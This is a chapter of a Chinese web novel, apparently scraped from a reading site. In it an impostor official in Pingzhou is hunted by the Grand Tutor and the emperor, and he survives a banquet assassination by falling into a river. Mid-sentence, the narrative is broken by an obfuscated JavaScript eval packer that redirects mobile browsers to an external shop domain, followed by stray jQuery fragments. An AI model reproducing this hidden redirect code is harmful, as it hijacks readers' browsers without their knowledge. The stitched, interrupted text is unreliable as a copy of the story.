按理说,山匪入城、州府跑路,平州城是要乱的。
但入城的山匪们既没有烧杀抢掠,也不收保护费,而是整日忙着发传单,宣传“宁大人”贤德之名。再加上刘、孟两本地望族示好态度在前,一些小门小户也摸着门道咂巴出味来了。
什么山匪,这分明是从上面来的大人物。
王志这些天在山上待得心神不宁,从茶州逃到平州,不得大王重用也就算了,连个正式编制也没有,从前跟着他的那些兄弟都开始瞧不起他。
尤其是大多数兄弟都跟着大王下山干大事了,只留下他们这些“低人一等”的守山头。
趁着巡逻的兄弟偷懒,王志悄悄下了山。
平州城里与往常无异,半分不见战乱。从山上下来的兄弟们居然在街边巡逻,俨然一副衙门官吏的模样,手里还抱着一叠传单,见人就发。
王志不敢凑上前叫人认出来,腆着老脸要了张别人的,躲在一处无人的角落仔细看了起来。
京都才子、太傅门下、贤德之后……宁子过。
王志反复看着那三个字,猝然遍体生寒,像是见了鬼一样。
这个叫宁子过的不是早就死了吗?!
在茶州,他亲自提刀,砍下了锦衣华服“宁子过”的头颅,还用他身上的玉佩向一个大人换了一百两银子。
身后不知何时靠过来两个蒙面大汉,王志被吓得一个激灵,还没等他出声就被一个麻袋套下。
正是倒春寒的时候,院中凋零之色未散,几株早春树种于尖梢抽新枝。
宁以哲难得逞闲,裹着披风也要坐在亭中喝茶,冷不丁打了两声喷嚏,他瞅了眼祁一,“外边儿是不是有人骂我?”
-
王志是被人用冷水泼醒的,他模模糊糊睁开眼,昏暗的小房间内,站满了蒙面杀手。只中间太师椅上坐着一位,是当初给了他一百两银子的那位大人。
王志顿觉惹祸上身,不住磕头:“大人饶命,大人饶命啊!”
“你之前不是说,宁子过被你杀了?”
王志都快哭了,“是我杀的,千真万确啊大人!就是不知怎么的,又来了一个!”
那位大人一扬手,一卷画像劈头盖脸地砸过来,“看清楚,你杀的是不是他?”
王志哆嗦着翻看,心下沉得厉害,“这是……宁大王?”
他在茶州杀的那人,虽也是锦衣华服的少年,却样貌普通,与画像上的人差远了。而画像上人,分明是他后来投靠的虎山宁大王!
“我不知道怎么回事啊大人!我杀的那人也说自己叫‘宁子过’,冤枉啊大人!”
“……废物。”
杀气袭来,王志本能要逃,却顷刻间倒下。
里间的屏风撤下,站着一位老人。原本稳坐在太师椅上之人亦蒙面跪地,恭敬道:“太傅,是否捉拿宁子过?”
老人似是无可奈何地叹息,斑驳的眉目慈悯地望向沾了血的画像,“子过这孩子我也是看着长大的,词又写得那样好,可惜……”
“罢了,是死是活都把人带回来。”
“是!”
……
自君臣有隙,朝廷上的氛围也变得微妙起来。
太傅连着几日称病告假不上朝,据说新帝欲亲临其府上看望,却也吃了个闭门羹。群臣私底下少不了议论,或说太傅荣宠犹胜,或说新君仍显稚嫩。
御书房内,李承安挥退一众内侍,独自端坐在案。
山河炉内升起佝偻清烟,淡淡的龙涎香顺着案台攀上主人的袖腕,直到朱笔落下,暗门翻转。
“陛下,平州的消息。”
李承安微拢眉心,“说。”
“太傅已经有所动作,城内要乱,崔州府问要不要保下宁公子。”
李承安静默了半晌,忽然扯了下唇角,“保他做什么?”
遇到难回答的问题,侍卫下意识将身子伏得更低。
随即听见一声似有若无的轻笑,帝王低冷的声音还中带着一点嫌弃,“我看他是能耐得很,做个山大王还不够,就差在平州插旗称王了。”
这话同样不好接,侍卫思索再三,给帝王磕了个头,“请陛下吩咐。”
“……”
李承安丢出块玉符,“把人全须全尾地带回来审。”
侍卫恭敬地接过,“是,属下定不让人伤了宁公子一根头发!”然后利落地行礼后退,消失于暗处。
李承安阴沉的目光扫过眼前还没批完的折子,重新拿起朱笔,又放下。
片刻,“全福。”
候在外间的全公公探了个头,笑容可掬,“奴才在。”
“……茶冷了。”
全福赶忙踩着小碎步进来,端起杯盏,踱步去外间给帝王换茶。只是他感受着手中的温度,有些疑惑。
这茶也没凉呀,还隐隐有些烫手呢。
……
晚间,平州城最大的酒楼开了场流水宴,孟赫派人左请右请,还道要介绍平州富商以助大业,宁以哲实在推辞不开,答应赴宴。
赴宴前,宁以哲眼皮子直跳,只好厚着脸皮向祁一讨要防身的东西。
祁一皱眉,“不需要。”
“要的要的,”宁以哲很珍爱生命,“万一你被什么事情绊住了脚,没有及时出现保护我呢?”
“我死得不明不白不要紧,但要是坏了陛下的事……”
祁一脸色一黑,从衣襟摸出个什么丢给他。
是一个锦囊,料子不错,触之柔滑。
宁以哲小心收好,一步三回头地上了刘家备下的轿子。再掀帘时,刘家父子俩巴巴凑上来听吩咐,宁以哲漫不经心地打发了,抬眸扫了眼原处,祁一已经蒸发般消失不见。
唔,这个世界上有轻功?
宁以哲的心砰砰直跳,摸了摸藏在袖里的锦囊,也不知道里面是什么精巧暗器,能在关键时刻保他狗命。
酒楼足有五层楼高,临河而建,是平州城的一处繁华地标。
入夜后,各家点起门前灯笼,酒楼更是灯火成串,红艳的灯笼簇缀,将河水都映成了亮色。一派热闹。
孟赫早早候着了,“宁大人,请。”
刘启看不惯他这副谄媚做派,白了人一眼,转身亲自搀扶着宁以哲下轿,“宁大人小心,抬脚~”
“……”
流水席布置在一楼大厅,往上走都是有身份的人物,孟赫引着宁以哲往五楼走,路过某间包厢时,宁以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626230|206253||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
哲老感觉身后有人盯着自己。
他冷不丁回头,犀利的目光左右一扫,只见刘启捂着胸口,笑得很命苦:“大人,您这是……”
宁以哲凶巴巴,“看路,老看我做什么?”
说完就立马回过头,还提速快走了几步。
刘启:“?”
宴间一切正常,宁以哲拒了几轮酒,细细品尝完最后一道菜,满足而又略有失望地放下筷子。
祁一给的锦囊没用上。
桌上早已酒过三巡,刘启喝得满面潮红,他不敢向宁以哲敬酒,反手扒拉上孟赫,“你这倒霉玩意,要、要不是我给你牵桥搭线,你能攀上宁大人?”
孟赫面露不善地推开他。
刘启给自己满上,“来,你……你今天必须敬我!”
孟赫捏着杯子和他碰了碰,仰头干下。刘启总觉得哪不对,伸长脖子凑过去闻了闻。
随即大惊:“你这……压根不是酒,是水啊!?”
桌上猝然一静。
宁以哲一只手伸入袖中,抬眼看过去,说话很轻:“孟大人,这酒品不怎么样啊。”
不等孟赫回话,厢房中门窗涌进一批蒙面人,手中寒光乍现,提刀直向宁以哲而来。
刘启吓得酒都醒了,“有刺客!快、快保护宁大人!”
“蠢货,”孟赫一把扯过刘启,将一枚玉佩扔至人前,“看清楚,这才是宁大人宁子过的玉佩,我们都被耍了!”
宁以哲慌忙间滚至桌下,闻言还不忘冷声:“哦?既然是我的玉佩,为何会在孟大人手里?孟赫,你要杀我,是想反吗?!”
刘启惊恐地摇头,想和孟赫划清界限。
孟赫简直要被刘家人蠢死了,“宁子过矫诏太傅之名,意图谋逆,我们要想活命,宁子过就必须死!”
“哐当”巨响,桌面被人劈成两半,餐盘摔落一地。
宁以哲被人提着后领避开,祁一的刀刃挥开两个蒙面人,将宁以哲往反方向推了把,“是太傅的人,跳窗!”
宁以哲踉跄奔向窗台,不是……
这特么是五楼啊!
就这么犹豫了半秒,宁以哲感觉后背猛受一击,冲力将他大半身子推出窗外,整个人就这样打滑一般落了下去。
嘴里的淤血快要包不住了,宁以哲刚思考要不要就这么吐在空中,就“扑通”掉进河里。
跳水好痛。
早知道在厢房就把锦囊开了。
府兵把持着城门,崔文带着两队亲兵包围酒楼,活捉了几个蒙面人,连带着刘、孟两家,都暂时押入狱中,等候裁决。
等会儿,宁公子呢?
祁一带着赶来的一众同僚扎进河里寻人,然而水下昏暗,众人搜寻两刻钟都一无所获。崔文将全城的打捞船都给调了出来,两批人马沿着河流一路寻人,急得想将河水给抽干了。
天边翻起白肚皮时,宁以哲“噗”地吐出几口水来。
他像是被冷醒的,睁开眼时,只见一青年正背对着他钓鱼。
“劳驾……咳、咳!”
宁以哲吸入几口湿冷的空气,又是一阵咳嗽。
青年听见动静回头,手里的鱼竿十分轻飘的动了动,“你醒了?”